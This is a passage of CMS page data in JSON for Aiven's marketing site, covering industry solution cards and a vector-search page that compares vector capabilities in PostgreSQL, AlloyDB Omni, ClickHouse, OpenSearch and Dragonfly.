more"},"image":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"a2a214ce8355","_type":"block","children":[{"_key":"92989f6a82460","_type":"span","marks":[],"text":"Leverage real-time data streaming to identify and prevent fraudulent activities"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5366d9dc6250","_type":"block","children":[{"_key":"2c7ab3becc600","_type":"span","marks":[],"text":"Maintain a secure and compliant data infrastructure to meet stringent industry regulations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b126523fa1ad","_type":"block","children":[{"_key":"2fa63209f1a20","_type":"span","marks":[],"text":"Provide consistent and reliable access to financial services"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"FinTech","variant":"icon-card"},{"_key":"7691de40cb40227876a94cd5eb6d19c0","_type":"cardItem","borderTopColor":{"_ref":"d880fd1e-392c-4a05-9eb1-ecbbc93753b5","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"ee6cfc70-2c15-45eb-9b4e-581cadb7cd6b","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-2f0ec2a798fc88e9dba0d032d62808bf5b885e3c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2e9592b046e9","_type":"block","children":[{"_key":"e2087e42317a0","_type":"span","marks":[],"text":"Smart metering"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cfd332e6d226","_type":"block","children":[{"_key":"b37b9fef293e0","_type":"span","marks":[],"text":"Predictive maintenance"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4388b0879982","_type":"block","children":[{"_key":"5516b5cae28b0","_type":"span","marks":[],"text":"Customer consumption insights"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Energy","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":true,"noSpaceTop":true,"subtitle":[{"_key":"0aaf02804fc9","_type":"block","children":[{"_key":"9d2e7514a498","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h3"}],"title":"Industries"},{"_key":"gexpu8kodh815c1uhj6dkv3hndkuzdgw","_type":"textImage","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-88b2848ed2d49660e7a2b377d802062d5a6889ed-2667x1500-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Learn about Aiven Platform"},"tagline":"Book a personalized demo","text":[{"_key":"t8np4yj1sor76v4e14gfwi13dtekn42m","_type":"block","children":[{"_key":"zr2ja5d9zeobijrjexrhyryrc87hdqvv","_type":"span","marks":[],"text":"Book a free demo and we’ll analyse your specific situation and come back with solution ideas."}],"markDefs":[],"style":"normal"}],"title":"Get to know our all-in-one data infrastructure platform","variant":"mediaLeft"}],"seo":{"_type":"metaData","metaDescription":"From observability and legacy modernization to data infrastructure scalability, we can offer you tailored solutions that work without being needlessly complex.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-3d1c9b48b9bf969f2335c4ea43b69fb08a824163-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven solutions to accelerate your business growth"},"slug":{"_type":"slug","current":"/solutions"},"title":"Solutions"} {"__i18n_lang":"en","_createdAt":"2024-07-22T14:02:04Z","_id":"c093c67e-df4f-4f4d-aa41-a7d16b0970ae","_rev":"LH5f7Hr0x4bwLSK8Bfmxvo","_type":"solution","_updatedAt":"2024-11-08T19:59:28Z","content":[{"_key":"tyn3k5jfjxz6zmtjyu6nydy5bot07jsa","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-b97985a8208abc1059d1fee8be898972517ff18e-2880x1130-jpg","_type":"reference"}},"backgroundPosition":"center bottom","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Aiven for Vector Databases","parentPage":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"}},"darkTheme":true,"disabled":false,"fullWidth":false,"headline":[{"_key":"0964y4vw9njwdiswnbwmgk5k950b262a","_type":"block","children":[{"_key":"xhg8kofw5x63czt7soz1ls6i62ifux2o","_type":"span","marks":["color-primary"],"text":"Vector Search,"},{"_key":"c4dc7c5283a7","_type":"span","marks":[],"text":" Simplified"}],"markDefs":[],"style":"h1"},{"_key":"795ce3d9ea66","_type":"block","children":[{"_key":"e5bcd3d7adfb0","_type":"span","marks":[],"text":"Leverage the vector capabilities of the most popular open source databases to enrich your AI queries with more accurate context."}],"markDefs":[],"style":"normal"}],"heroHasVideo":false,"imageSize":"large","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-b","title":"Evolve your applications with Aiven for AI","titleMultiColor":true,"variant":"compact","ytId":"LTmREm3BchY"},{"_key":"9f0wlwsqci1hzoz6vhabq99y612ayh4p","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","compact":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"c5cw2dgerja2m9hk3ntgnt3vk5gjefin","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-cdc84e8d5201b68f537ddd54c858764684e13b44-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"c98cf30cd7bc","_type":"block","children":[{"_key":"3930cc728e4a0","_type":"span","marks":[],"text":"Reduce your infrastructure complexity by increasing the usage of existing technology. Avoid data duplication by moving the vector functionalities to where your data already resides at no additional cost."}],"markDefs":[],"style":"normal"}],"title":"Simple, Cost-Effective Architecture","variant":"icon-card"},{"_key":"330z7defub8y4d05fo2ewkcqlvhb2ffe","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"z183pw9pxs9jy05mvci4avevv0kccg6o","_type":"block","children":[{"_key":"d09bxniu3hgrat032k69g751k78iyw2m","_type":"span","marks":[],"text":"Onboard vector queries within the same tooling you already manage and use day-to-day. Reduce the Gen AI time to production."}],"markDefs":[],"style":"normal"}],"title":"Fast Onboarding","variant":"icon-card"},{"_key":"2mylyj7ko7pid8ub5ka6d22wr3zzk55l","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-fdfb2ef02ce480fae9f67145a208cebcc42f8b89-22x20-svg","_type":"reference"}},"subtitle":[{"_key":"5dbefbaa67cb","_type":"block","children":[{"_key":"9d4eb7452b6f0","_type":"span","marks":[],"text":"Multi-model databases offer the best of both worlds: standard optimization features plus dedicated vector functionality, delivering the same power and performance as dedicated vector solutions."}],"markDefs":[],"style":"normal"}],"title":"Performance","variant":"icon-card"},{"_key":"quiu59teeh6kr4d05tp2jydnef37s1wp","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"rjp6rd7hglf7kzaqvwe8x99k90yvkk3i","_type":"block","children":[{"_key":"nk0u029tgd7nljtq5h89ohhk2zkf8kzs","_type":"span","marks":[],"text":"While dedicated vector databases might offer slightly newer functionalities, they often lack the support needed for enterprise-grade workloads."}],"markDefs":[],"style":"normal"}],"title":"Trusted Technology","variant":"icon-card"},{"_key":"b725afe579d5ccc3ba8e3968388fc66d","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-c7f60c246292bbb1214570505dac4f8925769d00-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"28feec692ecd","_type":"block","children":[{"_key":"b8fc30da453f0","_type":"span","marks":[],"text":"Maintain strict control over your data assets, including their locations and security measures."}],"markDefs":[],"style":"normal"}],"title":"Single Pane of Glass","variant":"icon-card"},{"_key":"dcd151dc41853a74f30ac6d6cfe02a83","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-06d8ae30ae2a10935d4ddf8266f546552883c12a-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"6dcfb9108fe6","_type":"block","children":[{"_key":"e5820e4f06280","_type":"span","marks":[],"text":"Rely on the best open source technology and move your data to where AI is in a secure, reliable, and scalable architecture."}],"markDefs":[],"style":"normal"}],"title":"Portability","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"0e7fa20702ee","_type":"block","children":[{"_key":"a4a291210bd10","_type":"span","marks":[],"text":"Leverage built-in capabilities of your existing databases for efficient vector search and eliminate the complexities associated with migrating to a new database. "}],"markDefs":[],"style":"normal"}],"title":"Benefits of leveraging multi-model databases for vector search","topOverlap":false},{"_key":"5oy9b3ei2jgeaah4bzm8n7clvde4vhei","_type":"accordion","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"8vkm1tp6avy280r3018k4mjxof9wnvms","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"id":"postgresql","open":false,"panelText":[{"_key":"48a42f081cce","_type":"block","children":[{"_key":"2421b83abacc0","_type":"span","marks":[],"text":"PostgreSQL®, the most popular database, offers vector capabilities with PGVector."}],"markDefs":[],"style":"normal"},{"_key":"0ebff11044c5","_type":"block","children":[{"_key":"2adb3e10a00e","_type":"span","marks":["strong"],"text":"Benefits include:"},{"_key":"680cec9cbd10","_type":"span","marks":[],"text":" "}],"markDefs":[],"style":"normal"},{"_key":"f09656f51004","_type":"block","children":[{"_key":"214384f1eb500","_type":"span","marks":[],"text":"Performance at scale"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ca6e56247325","_type":"block","children":[{"_key":"ebbbfcc8a7390","_type":"span","marks":[],"text":"Storage of operational data: embrace vector search without duplicating the data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c90c5ca6b431","_type":"block","children":[{"_key":"1e081aa9b77c0","_type":"span","marks":[],"text":"Dedicated indexing and performance accelerating features"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a86e8eac1880","_type":"block","children":[{"_key":"ce1109d0a1030","_type":"span","marks":[],"text":"Advanced features for hybrid queries"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3635ea68596f","_type":"block","children":[{"_key":"512f73beff5b","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"bc1eaf649cea","_type":"block","children":[{"_key":"d95b7e1cece6","_type":"span","marks":["strong"],"text":"Learn more here:"}],"markDefs":[],"style":"normal"},{"_key":"b5433d50e8bc","_type":"block","children":[{"_key":"a852f9700c57","_type":"span","marks":["72278c713052"],"text":"Aiven for PostgreSQL®"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"72278c713052","_type":"internalLink","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"}}],"style":"normal"},{"_key":"5e320921eb9a","_type":"block","children":[{"_key":"fe435a95cdcf0","_type":"span","marks":["37e5f3819495"],"text":"Image recognition with Python, OpenCV, OpenAI CLIP and pgvector"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"37e5f3819495","_type":"internalLink","internalLink":{"_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"reference"}}],"style":"normal"},{"_key":"9dbd2684ea23","_type":"block","children":[{"_key":"59dcb9511522","_type":"span","marks":["db1c28f8ac32"],"text":"Speed up PostgreSQL® pgvector queries with indexes"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"db1c28f8ac32","_type":"internalLink","internalLink":{"_ref":"168fd4e3-223d-4475-bedb-b07ae2bdbb69","_type":"reference"}}],"style":"normal"},{"_key":"860423cb7a5c","_type":"block","children":[{"_key":"e9acfa6f70a6","_type":"span","marks":["afadf1aec51d"],"text":"TensorFlow, PostgreSQL®, PGVector \u0026 Next.js: building a movie recommender"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"afadf1aec51d","_type":"internalLink","internalLink":{"_ref":"28a828cd-0a1a-477e-8c4b-91acfc1882bc","_type":"reference"}}],"style":"normal"},{"_key":"d995c11ad6f8","_type":"block","children":[{"_key":"2006f3479dd3","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Aiven for PostgreSQL®"},{"_key":"0221206c5056","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-8371936a7906a98fd63ae43361a9157a4a1498e5-48x48-svg","_type":"reference"}},"panelText":[{"_key":"99cc2cc972c3","_type":"block","children":[{"_key":"3d45b436c32d0","_type":"span","marks":[],"text":"AlloyDB Omni is a high-performance, 100% PostgreSQL-compatible database that excels in handling diverse workloads, including transactional, analytical, and AI-powered vector similarity search."}],"markDefs":[],"style":"normal"},{"_key":"ccce1cc85978","_type":"block","children":[{"_key":"b0be2f973e830","_type":"span","marks":["strong"],"text":"Benefits include:"}],"markDefs":[],"style":"normal"},{"_key":"f7ad14c9102b","_type":"block","children":[{"_key":"04fb6c181f740","_type":"span","marks":[],"text":"Dedicated ScaNN indexing to boost performance"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cd6fb231afcb","_type":"block","children":[{"_key":"eca8044c68e50","_type":"span","marks":[],"text":"Easy integrations with AI models via SQL for embedding calculations and inference"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9d1b12df9140","_type":"block","children":[{"_key":"05d519efc26b","_type":"span","marks":[],"text":"Plus all of the benefits of PostgreSQL®! "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"80b48c592f1d","_type":"block","children":[{"_key":"f21eab3f39660","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"cdeb23bca613","_type":"block","children":[{"_key":"6a50e37656b10","_type":"span","marks":["strong"],"text":"Learn more here:"}],"markDefs":[],"style":"normal"},{"_key":"5c4baf03fe50","_type":"block","children":[{"_key":"d5eda23ca0a00","_type":"span","marks":["112b7252f462"],"text":"Aiven for AlloyDB Omni"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"112b7252f462","_type":"internalLink","internalLink":{"_ref":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_type":"reference"}}],"style":"normal"}],"title":"Aiven for AlloyDB Omni"},{"_key":"0hjpueplamf5dchgslgb7c39saahnmju","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"id":"clickhouse","panelText":[{"_key":"f659c9ec9316","_type":"block","children":[{"_key":"06b68205a5ad","_type":"span","marks":[],"text":"ClickHouse®, the fastest analytical database, offers dedicated vector capabilities."}],"markDefs":[],"style":"normal"},{"_key":"3f8061be3c45","_type":"block","children":[{"_key":"3a4101f2bdf2","_type":"span","marks":["strong"],"text":"Benefits include:"}],"markDefs":[],"style":"normal"},{"_key":"fcc4507b649f","_type":"block","children":[{"_key":"5b133fc0a0370","_type":"span","marks":[],"text":"Parallelized query pipeline: performance at scale for analytical workloads"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"276f8d47167c","_type":"block","children":[{"_key":"719f53a1e5570","_type":"span","marks":[],"text":"Vector, hybrid, and aggregation search"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2e85230d8eb0","_type":"block","children":[{"_key":"6d5abd99f3e00","_type":"span","marks":[],"text":"Horizontally scalable"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"939d28635bb8","_type":"block","children":[{"_key":"3fa72158eebe0","_type":"span","marks":[],"text":"Columnar format (and therefore data compression)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"949e9530a27f","_type":"block","children":[{"_key":"101ab8e40e630","_type":"span","marks":[],"text":"Tiered storage: can read data from cold storage for unlimited data retention"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"850c255f25dc","_type":"block","children":[{"_key":"872d97f9130d","_type":"span","marks":["strong"],"text":"Learn more:"}],"markDefs":[],"style":"normal"},{"_key":"501e8dc0d6d0","_type":"block","children":[{"_key":"98950020d9fd","_type":"span","marks":["224544a5a6d9"],"text":"Aiven for ClickHouse®"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"224544a5a6d9","_type":"internalLink","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"}}],"style":"normal"}],"title":"Aiven for ClickHouse®"},{"_key":"sanlya1lr82xdjs0u0lnxezagyf7h1ds","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"id":"opensearch","panelText":[{"_key":"c5902a5460f5","_type":"block","children":[{"_key":"7ecd6793f18e0","_type":"span","marks":[],"text":"OpenSearch®, the leading search engine, provides native vector datatypes and search functionalities."}],"markDefs":[],"style":"normal"},{"_key":"d7a7838e3dae","_type":"block","children":[{"_key":"cbd683fae575","_type":"span","marks":["strong"],"text":"Benefits include:"}],"markDefs":[],"style":"normal"},{"_key":"5107fc38de46","_type":"block","children":[{"_key":"378c7b0c6dad0","_type":"span","marks":[],"text":"Easy to use"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"77acc1cc23e4","_type":"block","children":[{"_key":"6768fd16ee1f0","_type":"span","marks":[],"text":"Wide vector search algorithm selection"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e048961e14ae","_type":"block","children":[{"_key":"07929620111c0","_type":"span","marks":[],"text":"Wide range of text search functionality, enabling performant hybrid search"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ddf1ffd8e836","_type":"block","children":[{"_key":"61eec371f7d60","_type":"span","marks":[],"text":"Horizontally scalable"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f20d5b9cadc5","_type":"block","children":[{"_key":"76e3acc182e4","_type":"span","marks":["strong"],"text":"Learn more here:"}],"markDefs":[],"style":"normal"},{"_key":"966704307257","_type":"block","children":[{"_key":"ee65169aa1740","_type":"span","marks":["3dc5b99f025d"],"text":"Aiven for OpenSearch®"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3dc5b99f025d","_type":"internalLink","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"}}],"style":"normal"},{"_key":"fcf18be28617","_type":"block","children":[{"_key":"2d376d940ff00","_type":"span","marks":["486517c1bbb0"],"text":"Applying RAG pattern to navigate your knowledge store"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"486517c1bbb0","_type":"internalLink","internalLink":{"_ref":"99e530bc-a7ca-46f6-8600-3ac3f82681f4","_type":"reference"}}],"style":"normal"},{"_key":"1a75001dd8f4","_type":"block","children":[{"_key":"350eb7556803","_type":"span","marks":["432bba06fd4a"],"text":"Retrieval augmented generation with OpenAI and OpenSearch®"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"432bba06fd4a","_type":"internalLink","internalLink":{"_ref":"a34b0b22-60ab-471c-b0a2-9704d9139e02","_type":"reference"}}],"style":"normal"}],"title":"Aiven for OpenSearch®"},{"_key":"tlxpyixixpftbaxp44y5mhc3ucbjzrml","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-49b048e58588a4a7acbe41dcf92c84379800936f-56x56-svg","_type":"reference"}},"id":"dragonfly","panelText":[{"_key":"ca21a9c05109","_type":"block","children":[{"_key":"80d9bc64c5b60","_type":"span","marks":[],"text":"Dragonfly is an in-memory database for fast vector search."}],"markDefs":[],"style":"normal"},{"_key":"94fe988fa8be","_type":"block","children":[{"_key":"aa34f17ddf65","_type":"span","marks":["strong"],"text":"Benefits include:"}],"markDefs":[],"style":"normal"},{"_key":"719dcb56587b","_type":"block","children":[{"_key":"bd4da9da264d0","_type":"span","marks":[],"text":"Fast vector search for in-memory data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"49ab269a06c1","_type":"block","children":[{"_key":"f5e0be3895f90","_type":"span","marks":[],"text":"Easy to integrate with existing data stores"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b6c5dde68b06","_type":"block","children":[{"_key":"acbac876bc65","_type":"span","marks":[],"text":"Learn more:"}],"markDefs":[],"style":"normal"},{"_key":"1ece84744bd3","_type":"block","children":[{"_key":"a67b8e5b80dc","_type":"span","marks":["331e82b0bfa1"],"text":"Aiven for Dragonfly"},{"_key":"cc1b06d4a0d6","_type":"span","marks":[],"text":" "}],"level":1,"listItem":"bullet","markDefs":[{"_key":"331e82b0bfa1","_type":"internalLink","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"}}],"style":"normal"}],"title":"Aiven for Dragonfly"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"6e472bcbd1ac","_type":"block","children":[{"_key":"fcaf2f96b9770","_type":"span","marks":[],"text":"Navigating the world of vector databases doesn't have to be complex. Let's explore the unique strengths of each option for your vector search needs. "}],"markDefs":[],"style":"normal"}],"title":"Which vector-enabled database is right for you?","topOverlap":false},{"_key":"9bac153b5ff2","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-376ff41637f5bbc4f786d4d7d554a3b507e636b0-1968x1140-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tr-bl","text":[{"_key":"937a96042e24","_type":"block","children":[{"_key":"00f29c1f0bc30","_type":"span","marks":["strong"],"text":"Diverse Vector Database Options:"},{"_key":"00f29c1f0bc31","_type":"span","marks":[],"text":" Aiven supports a variety of popular open-source vector databases like PostgreSQL® with pgvector, OpenSearch®, ClickHouse®, and Dragonfly, allowing you to choose the best tool for your specific needs and performance requirements."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f0c022db556c","_type":"block","children":[{"_key":"ed4a4cf65c120","_type":"span","marks":["strong"],"text":"Enhanced AI/ML Workflows:"},{"_key":"ed4a4cf65c121","_type":"span","marks":[],"text":" Combine the power of vector search with traditional data sources to create comprehensive AI/ML workflows. For example, use vector embeddings generated by your AI model to enhance product listings and enable semantic product search."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Aiven for Vector Databases: Supercharging Product Search","topOverlap":false,"variant":"mediaRight"},{"_key":"ycbsjqa2rv3exg49e8wwehutjpmys23f","_type":"tab","addSpaceBottom":false,"addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"items":[{"_key":"uv0bzvi260kywk55a6ghisn2026mhh7g","_type":"tabItem","content":[{"_key":"ff3d5bbce1da","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"ceee1568802c","_type":"block","children":[{"_key":"16e2e5cdf381","_type":"span","marks":[],"text":"Advantages"}],"markDefs":[],"style":"h5"},{"_key":"cf864ef7cc66","_type":"block","children":[{"_key":"83774d3b7e370","_type":"span","marks":["strong"],"text":"Single dimension to search:"},{"_key":"83774d3b7e371","_type":"span","marks":[],"text":" Compacted information representation enables you to use a single embedding calculation to create a simplified, compact version of the data."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7aae9611db00","_type":"block","children":[{"_key":"27fca002831e0","_type":"span","marks":["strong"],"text":"Advanced indexing capabilities:"},{"_key":"27fca002831e1","_type":"span","marks":[],"text":" Most vector indexes have advanced features only if the query is not filtering out any components in the space. In this case, they offer high speed-up capabilities."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"500690d47ca7","_type":"block","children":[{"_key":"c4046acbdbad","_type":"span","marks":[],"text":"Drawbacks"}],"markDefs":[],"style":"h5"},{"_key":"60ee9cf7db1e","_type":"block","children":[{"_key":"691cfb076a44","_type":"span","marks":["strong"],"text":"High cardinality computation: "},{"_key":"dde4580e5f69","_type":"span","marks":[],"text":"Each vector requires mathematical calculations over all of its elements. For example, with a dimensionality of 1000, every new line in the dataset requires 1000 additional calculations, leading to slower performance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"97953787ab1a","_type":"block","children":[{"_key":"61656fed2ac0","_type":"span","marks":["strong"],"text":"Semantic similarity only: "},{"_key":"fc8753e91467","_type":"span","marks":[],"text":"You cannot easily (or accurately) perform additional filtering on specific qualities of a document/object since semantic search will retrieve the closest vectors and may ignore the hard filters you want to define (e.g., closest vectors might exceed the budget)."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d48c409c0b8e","_type":"block","children":[{"_key":"b432f0bbeea0","_type":"span","marks":["strong"],"text":"Indexing is a tradeoff between speed and accuracy: "},{"_key":"58d32a19d124","_type":"span","marks":[],"text":"Better indexing increases the chance of not retrieving the correct set of similar documents/objects."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"5f57a21e8602","_type":"block","children":[{"_key":"de7735454ad40","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h3"}],"topOverlap":false,"variant":"twoColumn"}],"id":"standalone-vector","imageHeight":35,"title":"Standalone Vector"},{"_key":"jbsqkkfsqej14j8xa7x9y093q8r2e47z","_type":"tabItem","content":[{"_key":"97a9de17275b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"acd06f6a981d","_type":"block","children":[{"_key":"581e1edc708e","_type":"span","marks":[],"text":"Advantages"}],"markDefs":[],"style":"h5"},{"_key":"3269347823d3","_type":"block","children":[{"_key":"799bf83c057f0","_type":"span","marks":["strong"],"text":"Cardinality reduction: "},{"_key":"4506a9a74ae30","_type":"span","marks":[],"text":"By pre-filtering rows, the vector similarity search is limited to a subset of the entire dataset, making it faster and more efficient."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"290116822f9d","_type":"block","children":[{"_key":"f3bd88c2b3360","_type":"span","marks":["strong"],"text":"Enforcing filters on specific attributes: "},{"_key":"570e0f90e7ba0","_type":"span","marks":[],"text":"Pre-filtering the dataset based on specific attribute values ensures results follow the provided document/object qualities (e.g., booking opportunities that cost less than $500)."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0b8283c2c481","_type":"table"},{"_key":"42cb7298a0b4","_type":"table"}],"columnTwo":[{"_key":"6e1a08a6bea9","_type":"block","children":[{"_key":"8e08aec95c3b","_type":"span","marks":[],"text":"Drawbacks"}],"markDefs":[],"style":"h5"},{"_key":"30c5e74782cd","_type":"block","children":[{"_key":"674a961645000","_type":"span","marks":["strong"],"text":"Vector indexing could be problematic: "},{"_key":"47d9a383003e0","_type":"span","marks":[],"text":"Most, if not all, vector indexing is useful for similarity search across the entire dataset, as it analyzes the geometrical similarity of embeddings. However, smart data partitioning and cardinality reduction with proper filtering provide excellent 